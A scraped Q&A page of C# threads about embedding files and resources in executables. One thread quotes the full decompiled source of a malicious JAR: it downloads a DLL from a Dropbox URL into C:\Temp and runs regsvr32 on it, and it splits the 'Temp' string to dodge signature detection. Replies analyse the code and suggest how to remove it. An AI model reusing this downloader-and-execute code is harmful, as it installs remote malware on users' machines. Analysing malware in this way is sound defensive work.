Embed a file into an external exe with C# - c#

So I've made an interpreted programming language, and everything is going fine except one thing: I want to make a "compiler" that will embed the user's code into a copy of the interpreter, that way all the user needs to do is double click the executable with the code embedded into it and it would run.
So the question is: how can I embed a file into an already compiled executable? I do have access to the executable before it's compiled, but the embedding process must happen after.
I would prefer the solution to be in C# but I'm desperate and could use C++ or VB.NET, or even a batch file

So after some intense googling I found a library called Mono.Cecil which does exactly what I want. I was able to inject a file into an executable file by using the following code:
string fileName = "Interpreter.exe"; // The file which will have toInject injected in it
string outputName = "Compiled.exe"; // The output file to compile
string toInject = "program.txt"; // The file we will be injecting into fileName
string resourceName = "program.txt"; // The name of the file once it's inside fileName
var module = ModuleDefinition.ReadModule(filename);
var file = new EmbeddedResource(
resourceName,
ManifestResourceAttributes.Private,
File.ReadAllBytes(toInject));
module.Resources.Add(file);
module.Write(outputName);

Related

Hide Json file containing GOOGLE_APPLICATION_CREDENTIALS when building executable file in Visualstudio [SOLVED]

currently I am developing a tool that interacts with a Firebase Firestore database. When I want to make the C# Forms Application an executable file I get the .exe but also the json file which contains the Google App Credentials. However, I want to forward the tool so that you can't see the json file or read the contents of the file, so you only need the .exe file. Is there a way to achieve this? For example, define the app credentials in a C# script so that it compiles to the .exe file? If so how?
My current implementation looks like this:
string path = AppDomain.CurrentDomain.BaseDirectory + #"cloudfire.json";
Environment.SetEnvironmentVariable("GOOGLE_APPLICATION_CREDENTIALS", path);
The cloudfire.json file is directly contained in the namespace "LUX".
I also tried making the cloudfire.json file a resource, since i read this post but then the problem is, that i can't set the path of the .json, if i try it like that:
var assembly = Assembly.GetExecutingAssembly();
string resourceName = assembly.GetManifestResourceNames()
.Single(str => str.EndsWith("cloudfire.json"));
Environment.SetEnvironmentVariable("GOOGLE_APPLICATION_CREDENTIALS", resourceName);
I get the error: System.InvalidOperationException: "Sequence contains no matching element"
Is there maybe a way to set the "GOOGLE_APPLICATION_CREDENTIALS" to the embedded cloudfire.json ressource file?
EDIT:
I solved the problem by adding the "cloudfire.json" file to Resources.resx and changed the modifier to public. Like mentioned here.
Since you can only set the GOOGLE_APPLICATION_CREDENTIALS by using this code:
Environment.SetEnvironmentVariable("GOOGLE_APPLICATION_CREDENTIALS", "path to file");
I solved it by creating a temporary file:
byte[] resourceBytes = Properties.Resources.cloudfire;
// Write the resource to a temporary file
string tempPath = Path.GetTempFileName();
File.WriteAllBytes(tempPath, resourceBytes);
// Set the GOOGLE_APPLICATION_CREDENTIALS environment variable
Environment.SetEnvironmentVariable("GOOGLE_APPLICATION_CREDENTIALS", tempPath);
Add you file as embedded resource with name. And try to read by following code:
var resources = new ResourceManager("<namespace>", Assembly.GetExecutingAssembly());
var obj = resources.GetObject(<embedded_resource_key>);
or
var str = resources.GetString(<embedded_resource_key>)

Can anyone explain the following piece of anonymous/mischief code for windows?

Warning:
DO NOT EXECUTE THIS CODE ON ANY MACHINE. IT COULD BE A MALICIOUS CODE
Hi,
I got a file on fb, from someone which obviously looked like a virus. So I downloaded it happy that I am not on Windows.
I scanned it on virustotal, and it said this file was just scanned sometime ago meaning this file has been circulating a while. I scanned it still and virustotal says its clean.
So its Zip file, with a jar file and when I decompiled the .class file in jar file to java code, it had hardcoded strings to C:\ drive and a dropbox url to download a dat file. Then uses regsvr to do some registry level changes.
So, on that note it was nicely concealed with an innocent jar file. But even the downloaded module.dat file looks to virus free according to virustotal
Manifest File:
Manifest-Version: 1.0
Created-By: 1.7.0_45 (Oracle Corporation)
Main-Class: IMG_00045
But can someone explain what this code does exactly ? before moving down to code..
The dat file seems to be having this :
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
public class IMG_00045
{
public static void main(String[] paramArrayOfString)
throws Exception
{
String str1 = "C:\\T";
str1 = str1.concat("emp");
File localFile1 = new File(str1);
localFile1.mkdir();
File localFile2 = new File("C:\\Temp\\asdfr1.dat");
if (localFile2.exists())
{
proc();
} else {
String str2 = "http://dl.dropboxusercontent.com/s/4w59212euubbjd8/module.dat?dl=1";
String str3 = "C:\\Temp\\asdfr1.dat";
dl(str2, str3);
}
}
public static void proc()
throws IOException
{
int i = 1;
while (i < 7)
{
bala();
i++;
}
}
public static void bala()
throws IOException
{
String[] arrayOfString = { "regsvr32", "/s", "C:\\Temp\\asdfr1.dat" };
Runtime localRuntime = Runtime.getRuntime();
Process localProcess = localRuntime.exec(arrayOfString);
}
public static void dl(String paramString1, String paramString2)
throws IOException
{
URL localURL = new URL(paramString1);
FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
byte[] arrayOfByte = new byte[250000];
InputStream localInputStream = localURL.openStream();
int i;
while ((i = localInputStream.read(arrayOfByte)) != -1)
localFileOutputStream.write(arrayOfByte, 0, i);
localInputStream.close();
localFileOutputStream.close();
proc();
}
}
Can someone explain about
What is a PE32 dll? Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ? and I am not much aware of regsvr codes.. What is it doing with respect to the registry entries and the dlls involved [I have provided the link below which is an analysis of the dat file contents] (without executing it :))
I also have the dat file analysis link for someone to look into the registry, dlls, locks involved
https://malwr.com/analysis/ZjIzNDczYTA3OWUyNDY2MTkxNDBhNzI2OWY0MmEzZjM/
The code downloads a file from external dropbox account and register it in the system. The file is DLL library. The DLL is stored in C:\Temp folder.
Question: Can someone explain about What is a PE32 dll?
http://en.wikipedia.org/wiki/Portable_Executable
Question: Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ?
An attacker prevents a signature detecting.
Question: What is it doing with respect to the registry entries and the dlls involved?
An attacker uses the fact that any application searches required dlls in determined order. The first location is a current folder.
The attacker scenario: user runs any application from C:\Temp folder. If the application uses methods from namesake DLL, it finds malicious DLL first and executes its code.
I also received this content yesterday and unfortunately I ran this jar file. it triggered the same attachment to persons in my contact list. I had a glance at the class file using java decompiler and found the same given above.
Its actually trying to download the DAT file and trying to register it using regsvr32. but, there is an error while registering that. I got to know when i intentionally tried to register it to know what is the key under which it would install. DLL register is not working.
But, one big problem with this virus is, it is getting transmitted to all the users in our contact list and trying to circulate itself.
As of now, the DAT file is unavailable(it is downloaded from DROPBOXUSERCONTENT.com). due to high traffic, the file access is denied now.
Solution : Try to remove the file and folder "C:\TEMP\ASDFR1.dat". File gets deleted easily, but folder deletion might not work. In that case, try to restore ur system. After that i was able to delete the folder.
Please let me know if I need to do anything more.

Read .txt embedded as resource

I have embedded a resource into my code, I want to read the text and apply the text to some string variables. I have worked out how to do that when I use an external file but I only want the .exe
string setting_file = "config.txt";
string complete = File.ReadAllText(setting_file);
string Filename = complete.Split('#').Last(); //"Test.zip";
string URL = complete.Split('#').First();
How can I read the resource config.txt
(Preferably without new procedures)
The File class is only used for accessing the file system whereas your file is no longer in the system so this line needs to change. As others have hinted with linked answers you need to get the stream for the resource and then read that. The below method can be called to replace your File.ReadAllText method call.
private static string GetTextResourceFile(string resourceName)
{
var stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceName);
using (var sr = new StreamReader(stream))
{
return sr.ReadToEnd();
}
}
The resourceName will be something along the lines of MyNamespace.Myfile.txt. If you are having problems finding your resourcename then the method GetManifestResourceNames on the assembly will help you identify it while debugging.
Also of note is the above method will throw an exception if the resource isn't found. This should be handled in real code but I didn't want to confuse the above sample with standard error handling code.
See also How to read embedded resource text file for a different question with the same answer (that differs in that it asks only about streams but in fact streams seem to be the only way to access embedded resource files anyway).
This is how you can use embedded files Properties.Resources.yourfilename

Get File From an Assembly

I want to read a file path from the following structure
The Structure is like : AssemblyName -> MyFiles (Folder) -> Text.txt
Here I want to get the path of the Text.txt. Please help
I think what you're looking for is a file embedded in the assembly. Check out this question. The first answer explains how to set up an embedded file, as well as how to get it from code.
You can do
string assemblyPath = Assembly.GetExecutingAssembly().Location;
string assemblyDirectory = Path.GetDirectoryName(assemblyPath);
string textPath = Path.Combine(assemblyDirectory, "MyFiles", "Test.txt");
string text = File.ReadAllText(textPath);
...just to split it up some...but you could write it all in one line needless to say...
alternatively, if your Environment.CurrentDirectory is already set to the directory of your executing assembly's location, you could just do
File.ReadAllText(Path.Combine("MyFiles", "Text.txt"));
Jeff has covered how you get the path, wrt your comment on his answer is the file you want to open actually included in your project output?
Under the properties pane for the relevant file look at the Copy to Output Directory option - it generally defaults to Do not copy. You will want to set it to Copy Always or Copy if Newer if you want to include a file in the output directory with your compiled program.
As a general note you should always wrap any IO in an appropriate try catch block or use the static File.Exists(path) method to check whether a file exists

How to embed multilanguage *.resx (or *.resources) files in single EXE?

There are plenty of tutorials how to create multilanguage RESX files and how to create satellite assemblies with AL.exe, but I haven't found working example how to embed RESX/Resources/satellite-DLL files in single EXE file and distribute whole multilanguage app as such EXE.
I tried to use ilmerge.exe, but it looks like it doesn't work for multiple DLLs with the same name (culture satellite DLLs have identical names, originally residing in different subdirs named after culture).
I also don't know how to create ResourceManager instance to work with embedded resources.
My goals is to enable dynamical switching between closed, pre-defined set of languages. I need class/method which will get culture string (i.e. "de-DE"), resource name (i.e. "CancelText") and return translated text based on embedded resx/resource/dll.
I'm using VS2008, please note what setting for "build action" is needed in resx/resource files properties sheet. Working code sample or link to tutorial project would be the best.
My solution: program contains only one default language resource file (resx). All other languages are compiled from .resx to .resources and embedded as resource file. Important! I have changed extension because ".resources" is recognized as a special type of resource, so my French files is named "PIAE.LangResources.fr".
Here is simple code to retrieve translated string (it should be improved with caching values from resource):
internal static string GetString(string str, string lang)
{
if (string.IsNullOrEmpty(str)) throw new ArgumentNullException("empty language query string");
if (string.IsNullOrEmpty(lang)) throw new ArgumentNullException("no language resource given");
// culture-specific file, i.e. "LangResources.fr"
Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("PIAE.LangResources."+lang);
// resource not found, revert to default resource
if (null == stream)
{
stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("PIAE.Properties.LangResources.resources");
}
ResourceReader reader = new ResourceReader(stream);
IDictionaryEnumerator en= reader.GetEnumerator();
while (en.MoveNext())
{
if (en.Key.Equals(str))
{
return en.Value.ToString();
}
}
// string not translated, revert to default resource
return LangResources.ResourceManager.GetString(str);
}
You didn't find it because it's not the way the .NET framework works. .NET expects satellite DLLs in specifically named location (iow directories named after the language of the resources it contains. eg. de, de-DE, chs,...). If you don't work that way, .NET won't be able to apply its magic (which is to automatically pick the correct resource according to the current UI culture: Thread.CurrentThread.CurrentUICulture).
Use this program, it Works with me: EXEPack
You just need to do manually everytime you compile, not sure if there is a command tool.
I used the GetString approach above. The article Can't load a manifest resource with GetManifestResourceStream() describes how to correctly retrieve your resource as a stream object. After that, everything worked.

Categories

Resources